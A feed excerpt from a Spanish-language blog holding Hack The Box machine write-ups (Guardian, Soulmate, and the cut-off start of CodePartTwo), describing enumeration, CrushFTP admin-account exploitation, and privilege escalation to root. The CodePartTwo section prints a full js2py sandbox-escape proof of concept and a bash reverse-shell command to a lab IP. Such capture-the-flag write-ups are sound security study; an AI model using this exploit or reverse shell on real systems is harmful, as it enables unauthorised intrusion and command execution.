&lt;p&gt;Después, modificaremos el código completo para añadir el payload, prepararemos nuestro &lt;strong&gt;netcat&lt;/strong&gt; para recibir la conexión y, finalmente, lo ejecutaremos como &lt;strong&gt;mark&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;51&quot; src=&quot;https://github.com/user-attachments/assets/1206c18f-34b9-455a-87a2-f0633f4c13a1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora estamos como el usuario &lt;strong&gt;mark&lt;/strong&gt;. Veamos qué puede ejecutar con permisos de administrador. Puede ejecutar la herramienta &lt;strong&gt;safeapache2ctl&lt;/strong&gt;, que permite cargar configuraciones en la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;52&quot; src=&quot;https://github.com/user-attachments/assets/2f0fc8c5-5434-43d3-aec2-ed88c6b15295&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si probamos a ejecutarla, veremos que nos pide un archivo de configuración desde la carpeta &lt;strong&gt;/confs/&lt;/strong&gt;. En esa carpeta, podemos crear cualquier archivo de configuración.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;53&quot; src=&quot;https://github.com/user-attachments/assets/774e512d-0e21-472a-b962-23bd5f963d04&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si investigamos un poco, al crear un archivo de configuración que cargue un módulo y, si da error, que ejecute una conexión remota, podemos aprovechar esto.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;54&quot; src=&quot;https://github.com/user-attachments/assets/6c15ee0b-1fef-4ea4-b927-7f9bf157b0b5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ejecutamos la aplicación con el archivo de configuración malicioso y, finalmente, hemos escalado hasta el usuario &lt;strong&gt;root&lt;/strong&gt;, completando así la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;55&quot; src=&quot;https://github.com/user-attachments/assets/7773d31e-a09e-43ae-9471-63787e221c72&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;La máquina &lt;strong&gt;Guardian&lt;/strong&gt; fue una experiencia realmente interesante que me ayudó a entender mejor cómo se pueden explotar vulnerabilidades y escalar privilegios. Desde el recorrido inicial por los puertos y servicios hasta la explotación de vulnerabilidades como &lt;strong&gt;XSS&lt;/strong&gt; y &lt;strong&gt;Inclusion de Archivos Locales&lt;/strong&gt;, cada paso fue clave para avanzar en el proceso.&lt;/p&gt;

&lt;p&gt;La escalada de privilegios, comenzando con el usuario &lt;strong&gt;jamil&lt;/strong&gt; y llegando hasta &lt;strong&gt;root&lt;/strong&gt;, nos permitieron conocer bien las herramientas y scripts disponibles en el sistema. Poder modificar y ejecutar código en un entorno controlado nos permitió establecer conexiones remotas y aprovechar configuraciones que estaban mal protegidas.&lt;/p&gt;

&lt;p&gt;Quiero agradecer a &lt;strong&gt;echoesofwhoami&lt;/strong&gt; y a compañeros que me han ayudado a completar esta máquina.&lt;/p&gt;

&lt;p&gt;Espero que esta publicación sirva como una guía para esta máquina tan compleja.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/dc12abde-26e1-4955-be48-9a267b3102c6&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Guardian</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Guardian"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Guardian</guid>
      </item>
    
      <item>
        <title>Soulmate WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Soulmate&lt;/strong&gt; es una máquina sencilla. Tendremos que acceder a una página web de citas, descubrir un subdominio para compartir archivos, utilizar un exploit para crear un usuario con privilegios de administrador, cambiar la contraseña de un usuario y acceder a él para establecer una conexión remota.&lt;/p&gt;

&lt;p&gt;Una vez dentro, buscaremos en la máquina archivos que contengan la contraseña del usuario de SSH y escalaremos privilegios utilizando &lt;strong&gt;ssh_runner&lt;/strong&gt;, ya que permite ejecutar comandos con permisos de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/c9cac3b2-b7ce-43f7-a064-989fa0b8b388&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzaremos nuestra etapa de reconocimiento con un &lt;strong&gt;nmap&lt;/strong&gt; simple y encontraremos el puerto &lt;strong&gt;22&lt;/strong&gt;, que no nos interesa por el momento, ya que no tenemos ningún usuario ni contraseña. También encontraremos el puerto &lt;strong&gt;80&lt;/strong&gt;, al que podremos acceder desde el navegador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/34e2d311-5e0e-43f9-8bc0-6d6ea4841999&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al añadir el dominio a nuestro &lt;strong&gt;/etc/hosts&lt;/strong&gt; e intentar acceder al puerto &lt;strong&gt;80&lt;/strong&gt;, veremos la siguiente página.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/758c05d3-49d1-4889-91af-f8d98a9b699e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No tiene mucha información, así que crearemos una cuenta para ver si podemos escalar a partir de ella.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/e4c3e423-479e-4ad0-bd47-2132ed66c7db&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro, no encontramos botones o funciones nuevas, así que realizaremos &lt;strong&gt;fuzzing&lt;/strong&gt; para descubrir directorios o subdominios ocultos.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4f0d58fe-6c47-45c4-a1dd-e6bf27bad485&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Utilizando la herramienta &lt;strong&gt;ffuf&lt;/strong&gt;, enumeraremos los directorios de la página web, pero tampoco encontramos nada interesante al que podamos acceder.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d42f8789-5e8e-4052-a57c-fa67717537f0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Intentémoslo con subdominios. Al hacerlo de esta forma, descubriremos que existe &lt;strong&gt;ftp.soulmate.htb&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/dddd1724-b266-4f59-b7cb-087a61d2e849&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cuando accedemos a este subdominio, veremos que utiliza la aplicación &lt;strong&gt;CrushFTP&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0b58fd9f-1a01-4eaf-a0a5-c25230730639&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Al analizar el HTML de la página, encontraremos que la aplicación usa la versión &lt;strong&gt;11.W.657&lt;/strong&gt;, que es vulnerable a este &lt;a href=&quot;https://github.com/Immersive-Labs-Sec/CVE-2025-31161&quot;&gt;payload&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8e4fcd7c-8b59-403a-a0a6-6840afe9dd7c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Este payload nos permite crear un nuevo usuario administrador, así que crearemos uno para acceder sin las credenciales de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d7f896e2-464a-4f5e-ad3b-d2a02fe5b1de&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro, encontraremos un FTP para compartir archivos y también accederemos al panel de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0f9c2fab-f03d-48d6-8dd4-ae565a857a75&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En el panel de administrador, encontraremos varias secciones, pero nos centraremos en la sección &lt;strong&gt;“User Manager”&lt;/strong&gt;. Allí estarán todos los usuarios creados en el sistema. Lo más interesante es que podremos ver los archivos que tienen guardados los usuarios. En este caso, el usuario &lt;strong&gt;ben&lt;/strong&gt; tiene una carpeta llamada &lt;strong&gt;“webProd”&lt;/strong&gt;, que sugiere que allí se almacena toda la página web que hemos visto antes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ebcdef87-46b3-4820-893f-8b0a104fdc66&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como somos administradores, podemos cambiar la contraseña del usuario &lt;strong&gt;ben&lt;/strong&gt;. Nos copiaremos su nueva contraseña e intentaremos acceder con ella en el sistema.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/388ae338-4f95-4768-bebd-c665a5c2bcb8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro, podemos acceder a la carpeta de la página web en producción y añadir archivos.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/822b1b75-0ffa-4fd9-b660-177c1fde0784&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro de la raíz de la web, añadiremos un script para que, al ejecutarlo desde el navegador, podamos recibir una conexión remota.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ffd03620-e4b1-4f05-8c08-730b04fe106a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Preparamos nuestro &lt;strong&gt;netcat&lt;/strong&gt; y ejecutaremos el script desde el navegador. Ahora hemos escalado como el usuario &lt;strong&gt;www-data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2482c5a3-4295-4fad-96cf-863ad1e256f7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si realizamos un reconocimiento a todos los archivos de la máquina, encontraremos un login de &lt;strong&gt;Erlang&lt;/strong&gt;. Si abrimos los scripts de configuración, encontraremos las credenciales del usuario &lt;strong&gt;ben&lt;/strong&gt; para el SSH. Además, podemos ver que hay un &lt;strong&gt;ssh_runner&lt;/strong&gt; dentro del sistema por el puerto &lt;strong&gt;2222&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/94c4e48b-d62f-492e-a64d-d525a1da4657&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Para investigar esa parte de la máquina, primero tendremos que acceder al SSH de la máquina como el usuario &lt;strong&gt;ben&lt;/strong&gt; y obtener la primera flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4400a148-5cde-495c-b888-48f0c11c0577&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Ya estamos dentro, así que investiguemos ese puerto oculto. Con este comando, listaremos todos los puertos que se están utilizando en la máquina, y el puerto &lt;strong&gt;2222&lt;/strong&gt; está funcionando con el &lt;strong&gt;ssh_runner&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/94c79e6e-1e2e-40b4-aa3a-7b968f13c5cd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como hemos visto en el script anterior, tenemos las credenciales para acceder, así que entraremos como el usuario &lt;strong&gt;ben&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/fa3a756c-c2e7-429e-8df1-b20125de05c1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;La aplicación &lt;strong&gt;ssh_runner&lt;/strong&gt; nos permite ejecutar comandos desde el sistema, así que podemos obtener la flag desde aquí utilizando el comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os:cmd(cat /root/flag.txt)&lt;/code&gt;, o de la forma que se muestra en la siguiente imagen, que creo que es la forma intencionada: creando una conexión remota que nos permita acceder como el usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/72ffa8fa-c269-4fb1-ace3-6d36860f1d95&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al ejecutar el comando, deberíamos poder ver el contenido de la flag en la terminal. Esto nos permitirá confirmar que hemos escalado correctamente los privilegios y que ahora tenemos acceso completo al sistema.&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;La identificación de la aplicación &lt;strong&gt;CrushFTP&lt;/strong&gt; y su vulnerabilidad nos permitió crear un usuario administrador, lo que facilitó el acceso a información sensible y la posibilidad de manipular archivos en el servidor. Además, el uso de herramientas como &lt;strong&gt;Ffuf&lt;/strong&gt; y &lt;strong&gt;ssh_runner&lt;/strong&gt; ha demostrado ser esencial para descubrir directorios ocultos y ejecutar comandos con privilegios elevados.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/36bb0edb-1726-4d0e-8cd8-a8f24b2f83ed&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 14 Feb 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Soulmate</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Soulmate"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Soulmate</guid>
      </item>
    
      <item>
        <title>CodePartTwo WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;CodePartTwo&lt;/strong&gt; es una máquina de &lt;strong&gt;HackTheBox&lt;/strong&gt; fácil y continuación de la máquina &lt;strong&gt;Code&lt;/strong&gt;. Para resolverla empezamos enumerando los puertos y servicios expuestos. En la aplicación web hay un botón que permite descargar todo el código del sitio; al revisarlo obtendremos el árbol de directorios y archivos.&lt;/p&gt;

&lt;p&gt;Más adelante explotaremos una sandbox de &lt;strong&gt;JavaScript&lt;/strong&gt; usando un vector de escape que nos permitirá establecer una conexión remota como el usuario &lt;strong&gt;app&lt;/strong&gt;. Desde ese acceso podremos consultar la base de datos y recuperar la contraseña de &lt;strong&gt;marco&lt;/strong&gt;, que está almacenada en &lt;strong&gt;MD5&lt;/strong&gt;; con ella conseguiremos la primera flag.&lt;/p&gt;

&lt;p&gt;Tras una nueva enumeración sobre las capacidades del usuario &lt;strong&gt;marco&lt;/strong&gt;, descubriremos que puede ejecutar la herramienta &lt;strong&gt;npbackup-cli&lt;/strong&gt; con privilegios de administrador. Aprenderemos a usarla, desarrollaremos un exploit para escalar privilegios y, finalmente, abriremos una segunda conexión remota para obtener acceso como root y capturar la flag final.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f64e4c60-7deb-4c03-aa16-716a2e3d60ac&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;enumeración&quot;&gt;Enumeración&lt;/h1&gt;
&lt;p&gt;Comenzando con nmap, descubriremos que están abiertos &lt;strong&gt;el puerto 22 (SSH)&lt;/strong&gt; y &lt;strong&gt;el puerto 8000 (HTTP con Gunicorn 20.0.4)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/3bf506a2-16e6-4ff3-adfe-9017dee97a35&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No se puede acceder al puerto 22 porque no disponemos de credenciales; al abrir el puerto 8000 se muestra la siguiente página. En la web aparecen tres botones: &lt;strong&gt;login&lt;/strong&gt;, &lt;strong&gt;register&lt;/strong&gt; y &lt;strong&gt;download app&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ac8e243c-d12f-460a-9b62-fee8c21cecb9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si pulsamos &lt;strong&gt;download app&lt;/strong&gt; descargaremos un archivo ZIP que, al descomprimirlo, revela la estructura completa del proyecto; esto será clave para localizar la base de datos cuando obtengamos acceso al sistema.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/24e87760-ef98-4151-aad3-6c1c3bd5fea4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Solo queda probar a registrarse e iniciar sesión.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/744a8ec6-3a06-4c12-9a4d-46024861fea6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al iniciar sesión en la web encontraremos una sandbox de JavaScript. Al probar distintos scripts veremos que algunas funciones están &lt;strong&gt;saneadas&lt;/strong&gt; y no podremos ejecutar ciertos fragmentos de código.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/760b26b6-15f3-4238-bec3-a571d56a8d8a&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;

&lt;p&gt;Sabiendo que varias funciones están saneadas, buscaremos una forma de escapar de la sandbox. Al buscar en GitHub términos como &lt;strong&gt;“scape js sandbox github poc”&lt;/strong&gt; encontraremos esta &lt;a href=&quot;https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py&quot;&gt;prueba de concepto&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; &quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOwnPropertyNames&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;({})&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__getattribute__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;__getattribute__&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;__class__&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__base__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;getattr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__getattribute__&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__module__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;subprocess&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Popen&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;communicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Este código construye la cadena de comando en &lt;strong&gt;cmd&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head -n 1 /etc/passwd; calc; gnome-calculator; kcalc;&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Obtiene la lista de nombres de propiedades de un objeto vacío con &lt;strong&gt;Object.getOwnPropertyNames({})&lt;/strong&gt; y la guarda en &lt;strong&gt;hacked&lt;/strong&gt;. Accede a métodos especiales usando esas propiedades: extrae &lt;strong&gt;getattribute&lt;/strong&gt; (vía &lt;strong&gt;bymarve&lt;/strong&gt; y &lt;strong&gt;n11&lt;/strong&gt;) para consultar atributos internos de objetos. Sube por la jerarquía de clases con &lt;strong&gt;n11(“&lt;/strong&gt;class&lt;strong&gt;”).&lt;/strong&gt;base&lt;strong&gt;** para llegar a la clase base y asigna su **getattribute&lt;/strong&gt; a &lt;strong&gt;getattr&lt;/strong&gt;.
Define la función &lt;strong&gt;findpopen(o)&lt;/strong&gt; que recorre recursivamente &lt;strong&gt;o.&lt;/strong&gt;subclasses&lt;strong&gt;()&lt;/strong&gt; buscando una clase cuyo módulo sea &lt;strong&gt;“subprocess”&lt;/strong&gt; y cuyo nombre sea &lt;strong&gt;“Popen”&lt;/strong&gt;; si la encuentra, la retorna.&lt;/p&gt;

&lt;p&gt;Llama a &lt;strong&gt;findpopen(obj)&lt;/strong&gt; para obtener la clase &lt;strong&gt;Popen&lt;/strong&gt;, crea una instancia pasando &lt;strong&gt;cmd&lt;/strong&gt; y parámetros (incluyendo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; para &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell=True&lt;/code&gt;) y ejecuta &lt;strong&gt;communicate()&lt;/strong&gt; para ejecutar el comando y obtener su salida.&lt;/p&gt;

&lt;p&gt;Ahora que entendemos el script, solo tendremos que modificar el parámetro &lt;strong&gt;cmd&lt;/strong&gt; para establecer una conexión remota con la máquina.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.119/4444 0&amp;gt;&amp;amp;1&apos;&quot;&lt;/span&gt;
